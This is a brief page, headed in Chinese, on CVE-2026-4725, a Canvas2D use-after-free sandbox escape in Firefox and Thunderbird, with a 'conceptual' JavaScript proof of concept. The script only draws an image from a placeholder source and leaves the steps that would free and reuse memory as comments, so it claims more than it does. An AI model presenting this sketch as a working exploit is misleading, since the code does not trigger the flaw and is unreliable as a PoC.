CVE-2026-4725 Firefox/Thunderbird Canvas2D沙箱逃逸漏洞

// Conceptual Proof of Concept for CVE-2026-4725 // This script attempts to trigger the Use-After-Free in Canvas2D. // Note: Actual exploitation requires precise heap grooming. function triggerUAF() { var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d'); // Setup to potentially trigger the vulnerability var img = new Image(); img.src = 'malicious_payload'; img.onload = function() { // Hypothetical sequence leading to UAF ctx.drawImage(img, 0, 0, 100, 100); // Force garbage collection or specific state change // that frees memory used by Canvas2D // Attempt to access the freed memory // If successful, this could lead to Sandbox Escape console.log("Checking memory state..."); }; } triggerUAF();